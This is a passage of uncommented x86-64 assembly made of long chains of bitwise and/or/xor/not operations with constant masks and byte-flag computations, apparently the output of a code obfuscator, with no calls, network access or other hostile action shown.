not ebp
mov ebx, ecx
and ebx, 0x4e12c9d
and edx, 0xfb1ed362
or edx, ebx
or ecx, ebp
and ebp, 0x4e12c9d
and edi, 0xfb1ed362
or edi, ebp
xor edi, edx
not ecx
or ecx, edi
mov edx, ecx
not edx
and edx, 0xad9d8a20
and ecx, 0x526275df
or ecx, edx
mov ebp, ecx
xor ebp, 0x50023013
xor ecx, 0xa08c0a00
and ecx, 0xa2ec4fcc
and ebp, 0x5d13b033
or ebp, ecx
mov ebx, ebp
xor ebx, 0x55003001
and esi, 0x2db4e5d6
and eax, 0xd24b1a29
or eax, esi
mov ecx, eax
xor ecx, 0xd24b1a29
xor eax, 0x2400a0c6
and eax, 0xb441b0e6
mov edx, ecx
and edx, 0x4bbe4f19
or edx, eax
xor edx, 0x4bbe4f19
or edx, ecx
mov eax, edx
not eax
and eax, 0xd0f6845c
and edx, 0x2f097ba3
or edx, eax
mov edi, edx
xor edi, 0x7007b01
xor ebp, 0xa2ec4fcc
xor edx, 0xd0f6845c
mov eax, ebp
or eax, edx
not eax
and ebp, 0x283f84fe
and ebx, 0xd7c07b01
or ebx, ebp
and edx, 0x283f84fe
and edi, 0xd7c07b01
or edi, edx
xor edi, ebx
mov edx, eax
and edx, edi
xor edi, eax
or edi, edx
mov eax, edi
not eax
mov edx, edi
and edx, 0x10bca32b
mov ebp, eax
and ebp, 0xef435cd4
or ebp, edx
xor ebp, 0xef435cd4
or ebp, eax
mov edx, ebp
not edx
and edx, 0x4cdc6c14
and ebp, 0xb32393eb
or ebp, edx
mov edx, ebp
xor edx, 0xb32393eb
mov r9d, ebp
xor r9d, 0x4cdc6c14
and eax, 0x6b5f358b
mov r10d, edi
and r10d, 0x94a0ca74
or r10d, eax
xor ebp, 0x3b2de6cf
mov ecx, ebp
and ecx, r9d
and ebp, edx
mov eax, ecx
not eax
mov ebx, eax
and ebx, 0x7b9eb32b
and ecx, 0x84614cd4
or ecx, ebx
mov ebx, ebp
not ebx
or eax, ebx
and ebx, 0x7b9eb32b
and ebp, 0x84614cd4
or ebp, ebx
mov ebx, r10d
xor ebx, 0x94a0ca74
xor ebp, ecx
mov esi, r10d
xor esi, 0xe35140af
and esi, ebx
and edi, 0x77f18adb
not eax
or eax, ebp
mov ebp, esi
and ebp, edi
xor edi, esi
or edi, ebp
mov ebp, eax
not ebp
and ebp, 0x243a1087
and eax, 0xdbc5ef78
or eax, ebp
mov ecx, edi
not ecx
and ecx, 0x243a1087
and edi, 0xdbc5ef78
or edi, ecx
xor edi, eax
xor r10d, 0x6b5f358b
mov eax, edx
and eax, 0xbfa9a1d2
and r9d, 0x40565e2d
or r9d, eax
or edx, r10d
and r10d, 0xbfa9a1d2
and ebx, 0x40565e2d
or ebx, r10d
xor ebx, r9d
not edx
or edx, ebx
mov eax, edx
not eax
and eax, 0x4a4c716d
and edx, 0xb5b38e92
or edx, eax
mov eax, edx
xor eax, 0xb4230412
xor edx, 0x4a4c716d
mov ebp, edi
not ebp
mov ecx, ebp
and ecx, 0x4390bbed
and edi, 0xbc6f4412
or edi, ecx
or ebp, edx
and edx, 0x4390bbed
and eax, 0xbc6f4412
or eax, edx
xor eax, edi
not ebp
or ebp, eax
mov eax, ebp
not eax
mov ecx, eax
and ecx, 0x8b8fa36b
mov edx, ebp
and edx, 0x74705c94
or edx, ecx
xor edx, 0x74705c94
mov ecx, eax
and ecx, ebp
mov ebx, edx
and ebx, ecx
xor ecx, edx
or ecx, ebx
mov edx, ecx
not edx
and ecx, 0xdb62cfcf
and edx, 0x249d3030
or edx, ecx
mov edi, edx
xor edi, 0x249d3030
and eax, 0x25d0e15c
and ebp, 0xda2f1ea3
or ebp, eax
mov eax, ebp
xor eax, 0xda2f1ea3
xor ebp, 0x25d0e15c
or ebp, eax
mov r9d, ebp
not r9d
mov ecx, edx
xor ecx, 0xdb62cfcf
xor edx, 0x407f09b6
mov ebx, edx
and ebx, ecx
and edx, edi
mov esi, ebp
xor esi, 0x9b1dc679
and esi, ebp
mov eax, ebx
and eax, edx
xor edx, ebx
mov ebx, r9d
and ebx, 0x9b1dc679
or edx, eax
mov eax, esi
and eax, ebx
xor ebx, esi
or ebx, eax
mov eax, edx
not eax
and eax, ebx
not ebx
and ebx, edx
or ebx, eax
mov eax, edi
and eax, 0xc9fb809d
and ecx, 0x36047f62
or ecx, eax
or edi, r9d
and r9d, 0xc9fb809d
and ebp, 0x36047f62
or ebp, r9d
xor ebp, ecx
not edi
or edi, ebp
mov eax, edi
not eax
and eax, 0x68c0a498
and edi, 0x973f5b67
or edi, eax
xor edi, 0x973f5b67
mov eax, ebx
and eax, edi
xor edi, ebx
or edi, eax
mov edx, edi
not edx
mov eax, edx
and eax, 0x29e00cd0
mov ecx, edi
and ecx, 0x9401f30d
or ecx, eax
xor ecx, 0x9401f30d
mov eax, edi
and eax, 0x421e0022
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0xbde1ffdd
and eax, 0x421e0022
or eax, ecx
and edx, 0xf6e3a69
and edi, 0xf091c596
or edi, edx
mov ecx, edi
xor ecx, 0x10800016
mov edx, eax
not edx
mov ebp, edx
and ebp, 0xe059cda8
and eax, 0x1fa63257
or eax, ebp
xor edi, 0x480828
and edi, 0xe059cda8
and ecx, 0x1fa63257
or ecx, edi
xor ecx, eax
xor edx, ecx
test edx, ecx
setne r15b
sete al
cmp r8d, 0xa
setl r9b
cmp r8d, 9
setg r12b
mov ebx, r12d
xor bl, r9b
mov r8d, ebx
xor r8b, 1
mov esi, ebx
and sil, r12b
mov r11d, ebx
or r11b, r8b
xor r11b, 1
mov ecx, r8d
xor cl, bl
and cl, r8b
mov ebp, esi
xor bpl, 1
mov edx, esi
and dl, bpl
mov edi, edx
and dil, sil
xor dl, sil
or dl, dil
or bpl, sil
xor bpl, 1
mov esi, edx
and sil, bpl
xor bpl, dl
or bpl, sil
mov edx, r11d
xor dl, cl
or cl, r11b
xor cl, 1
or cl, dl
xor cl, 1
mov r11d, edx
and r11b, cl
xor cl, dl
or cl, r11b
mov edx, ecx
xor dl, 1
or dl, bpl
xor bpl, 1
or bpl, cl
mov ecx, ebp
xor cl, dl
or bpl, dl
xor bpl, 1
or bpl, cl
mov ecx, ebx
and cl, r8b
mov edx, ecx
and dl, bl
xor cl, bl
or cl, dl
mov edx, ecx
and dl, r12b
xor cl, 1
and cl, r9b
or cl, dl
mov edx, r12d
and dl, r8b
xor r8b, r12b
or r8b, dl
mov edx, r8d
xor dl, cl
xor cl, 1
xor dl, 1
or cl, r8b
xor cl, 1
or cl, dl
mov edx, ecx
xor dl, bpl
xor bpl, 1
or bpl, cl
mov ecx, ebp
xor cl, dl
or bpl, dl
xor bpl, 1
or bpl, cl
mov byte [rsp + 0x30], al
mov r10d, eax
xor r10b, r15b
mov r14d, r10d
xor r14b, 1
mov r9d, eax
xor r9b, r14b
mov r8d, r9d
xor r8b, al
and r8b, r9b
not r9b
and r9b, r14b
mov byte [rsp + 0x2c], r15b
mov ecx, r15d
xor cl, r14b
and cl, r15b
mov r11d, r9d
xor r11b, 1
xor r9b, cl
xor cl, 1
or cl, r11b
xor cl, 1
or cl, r9b
xor cl, r8b
mov r9d, ecx
xor r9b, 1
and r8b, r9b
mov eax, r8d
xor al, 1
xor r8b, cl
or al, r9b
xor al, 1
or al, r8b
mov edx, ebp
xor dl, 1
mov edi, edx
and dil, bpl
mov r15d, edi
xor r15b, 1
or r15b, bpl
xor r15b, 1
mov r8d, edx
xor r8b, dil
or r15b, r8b
mov ecx, edx
mov byte [rsp + 0x24], dl
or cl, bpl
xor r15b, 1
mov r9d, r15d
xor r9b, cl
or r15b, cl
xor r15b, 1
or r15b, r9b
mov ecx, r15d
xor cl, 1
and r15b, cl
mov r9d, ecx
and r9b, r15b
xor r15b, cl
or r15b, r9b
and dil, dl
or dil, r8b
mov edx, edi
xor dl, 1
mov r8d, edi
and r8b, dl
mov esi, r8d
mov r9d, r8d
xor r9b, 1
mov r13d, r8d
and r13b, r9b
mov ecx, r13d
and cl, r8b
mov byte [rsp + 0x34], cl
xor r13b, r8b
and r8b, dil
xor sil, dil
or sil, r8b
mov r8d, esi
xor sil, 1
and sil, r15b
or dil, r15b
xor r15b, 1
and r8b, r15b
or sil, r8b
xor dl, r15b
xor dil, 1
or dil, dl
xor dil, 1
mov r8d, esi
and r8b, dil
xor dil, sil
or dil, r8b
mov r8d, edi
xor r8b, 1
and dil, r8b
mov esi, r8d
and sil, dil
xor dil, r8b
or dil, sil
xor r12b, bl
xor bl, r12b
not bl
and bl, r12b
mov ecx, ebx
mov r8d, eax
xor r8b, 1
mov esi, eax
or sil, r8b
mov r15d, eax
xor r15b, r8b
and r15b, al
mov edx, eax
mov byte [rsp + 0x2b], al
mov eax, r15d
and r15b, sil
xor sil, 1
xor al, 1
mov byte [rsp + 0x3c], al
mov r12d, esi
xor r12b, al
and r12b, sil
and sil, al
or sil, r15b
xor r12b, 1
xor sil, 1
mov r15d, r12d
xor r15b, sil
or sil, r12b
xor sil, 1
or sil, r15b
mov r15d, esi
xor r15b, 1
mov r12d, edx
and r12b, r15b
and sil, r8b
or sil, r12b
mov r12d, esi
xor r12b, r15b
or sil, r15b
xor sil, 1
or sil, r12b
movzx edx, byte [rsp + 0x2c]
and dl, r10b
movzx eax, byte [rsp + 0x30]
and r14b, al
or r14b, dl
mov r15d, eax
and r15b, r10b
xor r10b, al
or r10b, r15b
xor r10b, 1
mov r15d, r14d
and r15b, r10b
xor r10b, r14b
or r10b, r15b
mov r15d, r10d
xor r15b, 1
mov r12d, r10d
and r12b, r15b
or r15b, r10b
mov r14d, r15d
xor r14b, 1
and r14b, r15b
mov edx, r10d
and dl, r12b
xor r12b, r10b
or r12b, dl
mov edx, r15d
and dl, r14b
xor r14b, r15b
or r14b, dl
mov edx, r12d
xor dl, 1
and dl, r14b
xor r14b, 1
and r14b, r12b
or r14b, dl
mov edx, r10d
and dl, r15b
xor r15b, r10b
or r15b, dl
mov edx, r15d
xor dl, r14b
xor r14b, 1
xor dl, 1
or r14b, r15b
xor r14b, 1
or r14b, dl
mov edx, r14d
xor dl, 1
and r14b, dl
mov r10d, edx
and r10b, r14b
xor r14b, dl
or r14b, r10b
xor bl, 1
mov r10d, edi
xor r10b, 1
mov r12d, r10d
or r12b, bl
mov edx, r10d
and dl, dil
xor dl, 1
mov r11d, edi
xor r11b, dl
or dl, dil
xor dl, 1
or dl, r11b
mov r11d, ecx
or r11b, dl
xor dl, bl
mov r15d, ebx
and r15b, cl
xor bl, r15b
xor r15b, 1
or r15b, cl
mov eax, ecx
or al, dil
xor al, 1
xor r12b, 1
mov ecx, eax
and cl, r12b
xor r12b, al
or r12b, cl
xor r15b, 1
or r15b, bl
mov eax, r12d
xor al, 1
xor r15b, r10b
xor r15b, 1
or r15b, r10b
and r10b, al
and r12b, dil
or r12b, r10b
xor al, r12b
and al, r12b
xor dl, 1
xor r11b, 1
or r11b, dl
mov ecx, r11d
xor cl, 1
mov edx, r15d
xor dl, 1
and r15b, cl
and r11b, dl
or r11b, r15b
mov ebx, ecx
xor bl, dl
or dl, cl
xor dl, 1
or dl, bl
xor r11b, 1
mov ecx, r11d
xor cl, dl
or r11b, dl
xor r11b, 1
or r11b, cl
mov ebx, eax
xor bl, 1
mov ecx, ebx
and cl, al
mov edx, ebx
xor dl, cl
xor cl, 1
or cl, al
xor cl, 1
or cl, dl
mov r10d, r11d
xor r10b, 1
mov r15d, r10d
and r15b, r11b
mov edi, r10d
xor dil, r15b
xor r15b, 1
or r15b, r11b
xor r15b, 1
or r15b, dil
mov r12d, ecx
xor r12b, 1
or bl, al
mov eax, ebx
xor al, 1
or r10b, r11b
and al, bl
mov r11d, ebx
and r11b, al
xor al, bl
or al, r11b
mov edx, ecx
xor dl, r12b
and dl, cl
xor dl, 1
xor al, dl
mov r11d, edx
and r11b, bl
xor dl, bl
or dl, r11b
mov ebx, edx
xor bl, al
xor al, 1
or al, dl
mov edi, r15d
xor dil, 1
xor bl, 1
xor al, 1
or al, bl
mov ebx, r15d
xor bl, dil
and bl, r15b
mov edx, r10d
xor dl, 1
mov r11d, r10d
and r11b, bl
xor bl, 1
and dl, bl
or dl, r11b
mov r11d, ebx
and r11b, r10b
xor bl, r10b
or bl, r11b
xor dl, 1
mov r10d, edx
xor r10b, bl
or dl, bl
xor dl, 1
or dl, r10b
mov r11d, edx
xor r11b, al
and dl, r11b
and r11b, al
xor dl, 1
xor r11b, 1
mov eax, edx
xor al, r11b
or r11b, dl
xor r11b, 1
or r11b, al
and cl, r12b
mov eax, r15d
and al, dil
xor cl, 1
mov edx, ecx
xor dl, r12b
or cl, r12b
xor cl, 1
or cl, dl
mov edx, eax
and dl, r15b
xor al, r15b
mov ebx, esi
xor bl, 1
or al, dl
mov edx, ecx
xor dl, 1
and dl, al
xor al, 1
and al, cl
mov r15d, r14d
xor r15b, 1
or al, dl
mov ecx, r12d
and cl, dil
xor dil, r12b
or dil, cl
mov ecx, edi
xor cl, al
xor al, 1
xor cl, 1
or al, dil
xor al, 1
or al, cl
xor r11b, 1
mov ecx, r11d
or cl, al
xor r11b, al
mov eax, ecx
xor al, r11b
xor r11b, 1
xor al, 1
or r11b, cl
xor r11b, 1
or r11b, al
mov eax, esi
and al, bl
xor al, 1
mov ecx, ebx
xor cl, al
or al, bl
xor al, 1
or al, cl
mov r10d, r15d
and r10b, r14b
mov edi, r14d
mov edx, r10d
xor dl, 1
or dl, r14b
and r14b, r10b
xor dil, r10b
or dil, r14b
mov r12d, eax
xor r12b, 1
and al, r12b
xor al, 1
mov r14d, eax
xor r14b, r12b
or al, r12b
xor al, 1
or al, r14b
mov r14d, eax
xor r14b, 1
and r14b, dil
xor dil, 1
and al, dil
or al, r14b
mov r14d, r12d
and r14b, dil
xor dil, r12b
or dil, r14b
xor al, 1
mov r14d, eax
xor r14b, dil
or al, dil
xor al, 1
or al, r14b
mov edi, eax
xor dil, 1
mov r14d, edi
and r14b, al
xor dil, r14b
xor r14b, 1
or r14b, al
xor r14b, 1
or r14b, dil
mov edi, r14d
xor dil, 1
or bl, sil
xor bl, 1
mov eax, r12d
and al, bl
xor bl, r12b
or bl, al
mov eax, ebx
xor al, 1
xor r10b, r15b
xor dl, 1
or dl, r10b
and al, dl
xor dl, 1
and dl, bl
or dl, al
mov eax, edx
xor al, 1
mov ecx, r14d
or cl, dil
mov r10d, ecx
xor r10b, 1
mov r15d, edx
or r15b, al
mov esi, edi
xor sil, cl
and sil, dil
and r10b, r14b
and cl, dil
or cl, r10b
mov r10d, esi
and r10b, cl
xor cl, sil
or cl, r10b
mov ebx, edx
and bl, al
mov r10d, edx
xor r10b, bl
xor bl, 1
or bl, al
xor bl, 1
or bl, r10b
xor bl, r15b
mov r10d, edx
and r10b, r15b
xor r15b, dl
or r15b, r10b
mov edx, r15d
xor dl, bl
xor bl, 1
xor dl, 1
or bl, r15b
xor bl, 1
or bl, dl
mov r10d, ecx
xor r10b, 1
mov edx, r10d
and dl, cl
mov esi, ebx
xor sil, 1
and bl, sil
xor r10b, dl
xor dl, 1
or dl, cl
xor dl, 1
or dl, r10b
mov ecx, esi
and cl, bl
xor bl, sil
or bl, cl
xor bl, dl
mov ecx, edi
xor cl, al
or al, dil
xor al, 1
or al, cl
xor al, 1
mov edx, ecx
and dl, al
xor al, cl
or al, dl
mov ecx, eax
xor cl, 1
and cl, al
xor cl, 1
mov edx, eax
xor dl, cl
or cl, al
xor cl, 1
or cl, dl
mov eax, ecx
xor al, 1
mov edx, ebx
xor dl, al
and dl, bl
and al, bl
xor bl, 1
and cl, bl
or al, cl
mov ecx, edx
and cl, al
xor al, dl
or al, cl
mov ecx, r11d
xor cl, 1
mov r15d, ecx
or r15b, r11b
mov r12d, r15d
xor r12b, cl
mov edx, r12d
and dl, cl
xor r12b, 1
mov r10d, edx
and r10b, r12b
xor r12b, dl
or r12b, r10b
mov edx, r12d
xor dl, 1
or r12b, dl
xor r12b, 1
mov r10d, edx
and r10b, r12b
xor r12b, dl
or r12b, r10b
mov esi, r12d
xor sil, 1
xor cl, r11b
xor r15b, 1
or r15b, cl
mov edi, eax
xor dil, 1
mov edx, edi
and dl, al
mov r10d, edi
and r10b, dl
xor dl, dil
or dl, r10b
mov r14d, edx
xor r14b, 1
mov ecx, r14d
or cl, dl
mov r11d, r14d
or r11b, cl
xor cl, dl
xor cl, 1
xor r11b, 1
or r11b, cl
mov ecx, r15d
xor cl, 1
and dil, r14b
and dl, al
or dl, dil
xor r14b, dl
and r14b, dl
mov eax, r15d
and al, cl
mov edx, r15d
and dl, al
xor al, r15b
or al, dl
mov edx, esi
or dl, r12b
mov r10d, edx
xor r10b, 1
mov edi, r10d
and dil, dl
mov ebx, edi
xor dil, r10b
xor bl, 1
or bl, dl
xor bl, 1
or bl, dil
mov r10d, edx
and r10b, r12b
xor dl, r12b
or dl, r10b
xor bl, sil
mov r10d, edx
xor r10b, bl
xor bl, 1
or bl, dl
xor r10b, 1
xor bl, 1
or bl, r10b
mov edx, eax
xor dl, 1
or al, dl
xor cl, al
or al, r15b
xor al, 1
xor cl, 1
mov r10d, eax
and r10b, cl
xor cl, al
or cl, r10b
xor cl, 1
mov eax, ecx
or al, bl
xor al, 1
xor cl, bl
xor cl, 1
and cl, bl
mov ebx, eax
and bl, cl
xor cl, al
or cl, bl
mov eax, r12d
xor al, dl
and al, r12b
mov edi, r11d
xor dil, 1
xor dl, sil
xor al, 1
xor dl, 1
mov r10d, eax
xor r10b, dl
or dl, al
xor dl, 1
or dl, r10b
mov eax, edx
xor al, 1
mov ebx, ecx
xor bl, 1
and al, bl
or bl, dl
xor bl, 1
and dl, cl
or dl, al
mov eax, ebx
and al, dl
xor dl, bl
or dl, al
mov eax, r14d
xor al, 1
and r11b, al
xor al, dil
xor al, 1
mov ebx, eax
xor bl, dil
and bl, al
and r14b, dil
or r14b, r11b
mov eax, ebx
xor al, 1
and al, r14b
xor r14b, 1
mov ecx, ebx
xor cl, r14b
and cl, bl
and r14b, bl
or r14b, al
mov eax, ecx
xor al, 1
xor cl, r14b
xor r14b, 1
or r14b, al
xor r14b, 1
or r14b, cl
mov ecx, edx
xor cl, 1
mov eax, r14d
and al, cl
xor cl, r14b
mov ebx, r14d
xor bl, 1
and dl, bl
or dl, al
xor bl, dl
and bl, dl
or cl, al
mov r14d, ecx
xor r14b, 1
mov r10d, ebx
xor r10b, 1
mov edx, r10d
and dl, bl
mov eax, ecx
and al, r14b
mov r11d, r10d
and r11b, dl
xor dl, r10b
or dl, r11b
mov r11d, ecx
and r11b, al
xor al, cl
or al, r11b
xor al, dl
xor r10b, cl
or r14b, bl
xor r14b, 1
or r14b, r10b
xor r14b, 1
mov ecx, eax
and cl, r14b
xor r14b, al
or r14b, cl
and bpl, r8b
movzx edx, byte [rsp + 0x24]
movzx ecx, byte [rsp + 0x2b]
and cl, dl
or cl, bpl
mov eax, edx
xor al, r8b
or r8b, dl
xor r8b, 1
or r8b, al
xor r8b, 1
mov eax, ecx
and al, r8b
xor r8b, cl
or r8b, al
mov eax, r8d
xor al, 1
and r8b, al
mov ecx, eax
and cl, r8b
xor r8b, al
or r8b, cl
mov eax, r8d
xor al, 1
or r13b, byte [rsp + 0x34]
xor r13b, dl
mov ecx, r9d
and cl, dl
xor r9b, dl
or r9b, cl
mov ecx, r13d
xor cl, r9b
or r9b, r13b
xor r9b, 1
or r9b, cl
xor r9b, byte [rsp + 0x3c]
mov edx, r9d
xor dl, 1
mov ecx, eax
xor cl, r9b
mov ebx, r8d
or bl, dl
xor bl, 1
or bl, cl
mov r10d, ebx
xor r10b, 1
and dl, r9b
xor dl, 1
mov ecx, edx
xor cl, r9b
or dl, r9b
xor dl, 1
or dl, cl
and al, dl
xor dl, 1
and dl, r8b
or dl, al
mov r9d, edx
xor r9b, 1
mov ecx, r10d
and cl, bl
xor cl, 1
mov r8d, ecx
xor r8b, bl
or cl, bl
xor cl, 1
or cl, r8b
mov eax, ecx
xor al, 1
and al, dl
and cl, r9b
or cl, al
xor r9b, bl
or dl, r10b
xor dl, 1
or dl, r9b
mov eax, edx
xor al, cl
xor cl, 1
xor al, 1
or cl, dl
xor cl, 1
or cl, al
mov ebx, ecx
xor bl, 1
mov eax, ebx
or al, cl
mov edx, eax
xor dl, 1
mov r8d, ecx
or r8b, al
and al, bl
xor bl, cl
or bl, dl
and dl, cl
or al, dl
mov ecx, r8d
xor cl, al
xor al, 1
xor cl, 1
or al, r8b
xor al, 1
or al, cl
mov ecx, eax
xor cl, 1
and al, cl
mov edx, ecx
and dl, al
xor al, cl
or al, dl
mov ecx, eax
xor cl, 1
or al, cl
mov edx, eax
xor dl, cl
or al, cl
xor al, 1
or al, dl
mov edx, eax
xor dl, 1
mov r8d, ebx
xor r8b, 1
and dl, al
mov ecx, eax
and cl, dl
xor dl, al
or dl, cl
mov r10d, edx
xor r10b, 1
mov ecx, r10d
or cl, dl
xor cl, 1
mov r9d, edx
and r9b, cl
xor cl, dl
or cl, r9b
mov eax, r8d
or al, cl
xor cl, 1
xor al, 1
or cl, bl
xor cl, 1
mov r9d, eax
and r9b, cl
xor cl, al
or cl, r9b
and bl, r8b
xor bl, 1
mov eax, ebx
xor al, r8b
or bl, r8b
xor bl, 1
or bl, al
xor bl, dl
mov eax, r10d
and al, r8b
xor r10b, r8b
or r10b, al
mov eax, r10d
xor al, bl
xor bl, 1
xor al, 1
or bl, r10b
xor bl, 1
or bl, al
mov eax, ebx
xor al, 1
and al, bl
xor al, 1
mov edx, ebx
xor dl, al
or al, bl
xor al, 1
or al, dl
xor al, cl
mov edx, eax
xor dl, 1
and cl, dl
mov ebx, ecx
xor bl, 1
xor cl, al
or bl, dl
xor bl, 1
or bl, cl
mov r8d, ebx
xor r8b, 1
mov ecx, r8d
and cl, bl
mov edx, r8d
xor dl, cl
xor cl, 1
or cl, bl
xor cl, 1
or cl, dl
mov edx, ecx
xor dl, 1
or dl, cl
mov eax, edx
xor al, 1
and bl, dl
or dl, r8b
xor dl, 1
and al, r8b
or al, bl
mov ecx, edx
and cl, al
xor al, dl
or al, cl
mov ebx, eax
xor bl, 1
mov edx, ebx
or dl, al
mov ecx, edx
xor cl, 1
and cl, dl
mov r8d, ebx
and r8b, al
mov r9d, ebx
and r9b, r8b
mov r10d, ebx
xor r10b, r8b
or r10b, r9b
mov r9d, edx
and r9b, cl
xor cl, dl
or cl, r9b
mov r9d, r10d
xor r9b, 1
and r9b, cl
xor cl, 1
and cl, r10b
or cl, r9b
mov r9d, ebx
and r9b, dl
xor dl, bl
or dl, r9b
mov r9d, edx
xor r9b, cl
xor cl, 1
xor r9b, 1
or cl, dl
xor cl, 1
or cl, r9b
mov edx, ecx
xor dl, 1
and cl, dl
mov r9d, edx
and r9b, cl
xor cl, dl
or cl, r9b
xor bl, al
or bl, r8b
mov r8d, ebx
xor r8b, 1
mov edx, ecx
xor dl, 1
and cl, dl
mov r10d, r8d
and r10b, bl
xor cl, 1
mov r9d, ecx
xor r9b, dl
or cl, dl
xor cl, 1
or cl, r9b
mov eax, r10d
xor al, 1
xor r10b, r8b
or al, bl
xor al, 1
or al, r10b
mov r8d, ecx
xor r8b, 1
and r8b, al
xor al, 1
and al, cl
or al, r8b
mov ecx, edx
and cl, bl
xor dl, bl
or dl, cl
mov ecx, edx
xor cl, al
xor al, 1
xor cl, 1
or al, dl
xor al, 1
or al, cl
mov ebx, eax
xor bl, 1
mov edx, ebx
or dl, al
mov r8d, edx
xor r8b, 1
mov ecx, ebx
xor cl, dl
and cl, bl
and r8b, al
and dl, bl
or dl, r8b
xor cl, 1
xor dl, 1
mov eax, ecx
xor al, dl
or dl, cl
xor dl, 1
or dl, al
mov eax, edx
xor al, 1
and dl, al
mov ecx, eax
and cl, dl
xor dl, al
or dl, cl
mov r11d, edx
xor r11b, 1
or r11b, dl
xor r11b, 1
or r11b, dl
mov r10d, r11d
xor r10b, 1
mov ebx, r14d
xor bl, 1
mov r9d, ebx
and r9b, r14b
mov ecx, ebx
and cl, r9b
xor r9b, bl
or r9b, cl
mov esi, r11d
and sil, r10b
mov ecx, r11d
and cl, sil
xor sil, r11b
or sil, cl
mov ecx, esi
xor cl, 1
or r11b, r10b
mov edx, r11d
xor dl, 1
and dl, cl
mov ecx, esi
xor cl, r11b
and cl, sil
and r11b, sil
or r11b, dl
mov edx, ecx
and dl, r11b
xor r11b, cl
or r11b, dl
mov r8d, r9d
xor r8b, 1
mov edx, r8d
and dl, r9b
mov ecx, r8d
xor cl, dl
xor dl, 1
or dl, r9b
xor dl, 1
or dl, cl
mov ecx, edx
and cl, r8b
xor dl, r8b
or dl, cl
mov ecx, edx
xor cl, 1
mov eax, r14d
xor al, bl
or bl, r14b
xor bl, 1
or bl, al
mov edi, ebx
xor dil, 1
mov eax, edi
and al, bl
xor dil, al
xor al, 1
or al, bl
xor al, 1
or al, dil
mov ebx, eax
xor bl, 1
mov edi, esi
xor dil, r10b
or sil, r10b
xor sil, 1
or sil, dil
mov ebp, edx
and bpl, cl
xor bpl, 1
mov r10d, ecx
xor r10b, bpl
or bpl, cl
xor bpl, 1
or bpl, r10b
mov r10d, ebx
and r10b, al
xor r10b, 1
mov edi, eax
xor dil, r10b
or r10b, al
xor r10b, 1
or r10b, dil
mov edi, ebp
xor dil, 1
or cl, dl
mov r14d, ecx
xor r14b, 1
or bl, al
mov edx, edi
and dl, bpl
mov eax, edi
xor al, dl
xor dl, 1
or dl, bpl
xor dl, 1
or dl, al
mov r15d, edx
and dl, r14b
mov eax, r10d
xor al, 1
xor r15b, 1
and r15b, cl
or dl, r15b
mov r14d, edi
and r14b, cl
xor cl, dil
or cl, r14b
xor cl, 1
mov r14d, edx
and r14b, cl
xor cl, dl
mov edx, r10d
xor dl, al
and dl, r10b
xor bl, 1
or cl, r14b
mov r14d, ebx
xor r14b, dl
or bl, dl
xor bl, 1
or bl, r14b
xor r14b, 1
mov edx, r14d
xor dl, bl
or bl, r14b
xor bl, 1
or bl, dl
xor cl, 1
mov edx, ecx
xor dl, bl
xor dl, 1
and dl, bl
or cl, bl
xor dl, 1
mov ebx, edx
xor bl, cl
or dl, cl
xor dl, 1
or dl, bl
and dil, r10b
mov ecx, ebp
xor cl, al
and cl, bpl
and al, bpl
mov r10d, r11d
xor r10b, 1
xor sil, 1
or al, dil
mov ebx, ecx
and bl, al
xor al, cl
or al, bl
mov ebx, edx
xor bl, 1
and bl, dl
mov ecx, ebx
and cl, dl
xor bl, dl
or bl, cl
mov edi, ebx
and bl, al
mov ecx, eax
xor cl, 1
xor dil, 1
and dil, cl
or bl, dil
mov eax, edx
xor al, cl
or cl, dl
xor cl, 1
or cl, al
xor cl, 1
mov eax, ebx
and al, cl
xor cl, bl
or cl, al
mov eax, r10d
xor al, sil
xor al, 1
and al, sil
xor sil, r11b
mov edx, esi
xor dl, 1
mov ebx, edx
xor bl, r10b
and bl, dl
and sil, r11b
mov edx, eax
and dl, sil
xor sil, al
or sil, dl
xor bl, 1
mov eax, esi
xor al, 1
and sil, al
mov edx, eax
and dl, sil
xor sil, al
or sil, dl
xor sil, bl
mov edx, ebx
and dl, al
xor al, bl
or al, dl
xor al, 1
mov edx, esi
and dl, al
xor al, sil
or al, dl
mov ebx, eax
xor bl, 1
mov esi, ecx
xor sil, bl
or sil, bl
mov edi, ebx
and dil, al
xor bl, dil
xor dil, 1
or dil, al
xor dil, 1
or dil, bl
mov eax, edi
xor al, cl
or dil, cl
xor dil, 1
or dil, al
mov eax, edi
xor al, sil
xor al, 1
or dil, sil
mov ecx, edi
xor cl, al
or dil, al
xor dil, 1
or dil, cl
and r11b, r10b
mov eax, r10d
and al, r11b
xor r11b, r10b
or r11b, al
mov ecx, r9d
or cl, r8b
mov eax, ecx
xor al, 1
mov edx, eax
and dl, cl
mov ebx, edx
xor dl, al
mov eax, r11d
xor al, 1
xor bl, 1
or bl, cl
xor bl, 1
or bl, dl
mov edx, ebx
xor dl, 1
and dl, r9b
and bl, r8b
or bl, dl
mov edx, ecx
and dl, r8b
xor cl, r8b
or cl, dl
xor bl, 1
mov edx, ebx
xor dl, cl
or bl, cl
mov ecx, r11d
or cl, al
xor bl, 1
or bl, dl
mov edx, ecx
or dl, r10b
xor dl, 1
xor cl, r10b
mov r10d, edx
and r10b, cl
xor cl, dl
or cl, r10b
xor cl, 1
mov r10d, ecx
or r10b, bl
xor cl, bl
xor cl, 1
and cl, bl
mov edx, r10d
xor dl, cl
xor cl, 1
or cl, r10b
xor dl, 1
xor cl, 1
or cl, dl
xor r11b, r8b
mov edx, r9d
and dl, al
xor al, r9b
or al, dl
xor al, 1
mov edx, r11d
and dl, al
xor al, r11b
or al, dl
mov edx, eax
xor dl, 1
mov ebx, ecx
xor bl, al
and bl, cl
and al, cl
xor cl, 1
and cl, dl
or al, cl
mov ecx, ebx
and cl, al
xor al, bl
or al, cl
mov ebx, eax
xor bl, 1
mov edx, ebx
and dl, al
xor dl, 1
mov ecx, eax
xor cl, dl
or dl, al
xor dl, 1
or dl, cl
or bl, al
mov ecx, ebx
xor cl, 1
mov eax, ecx
and al, bl
mov r8d, eax
and r8b, cl
xor al, cl
or al, r8b
mov r8d, eax
xor al, 1
and al, dl
or cl, dl
xor dl, 1
and r8b, dl
or al, r8b
xor bl, dl
xor cl, 1
or cl, bl
xor cl, 1
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
mov eax, ecx
xor al, 1
mov edx, ecx
and dl, al
mov ebx, ecx
xor bl, dl
xor dl, 1
or dl, al
xor dl, 1
or dl, bl
xor dl, 1
or al, cl
xor al, 1
mov ecx, edx
and cl, al
xor al, dl
or al, cl
xor dil, 1
mov edx, edi
and dl, al
xor dil, al
or dl, dil
xor dl, 1
xor dil, dl
mov eax, edi
